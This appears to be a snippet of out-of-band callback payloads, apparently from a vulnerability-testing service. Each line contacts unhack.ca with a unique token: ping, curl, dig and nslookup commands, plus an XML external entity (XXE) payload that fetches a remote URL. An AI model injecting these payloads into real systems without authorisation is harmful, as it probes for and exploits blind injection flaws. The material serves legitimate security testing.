$ ping -c1 -p 00ccc6097301c912afdc1ce17d39f900 unhack.ca
 

$ curl http://unhack.ca/p/ccc6097301c912afdc1ce17d39f9
 

$ dig ccc6097301c912afdc1ce17d39f9 @unhack.ca
 

$ dig ccc6097301c912afdc1ce17d39f9.ns.unhack.ca
 

C:\> nslookup ccc6097301c912afdc1ce17d39f9 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ccc6097301c912afdc1ce17d39f9">]>
    <foo>&xxe;</foo>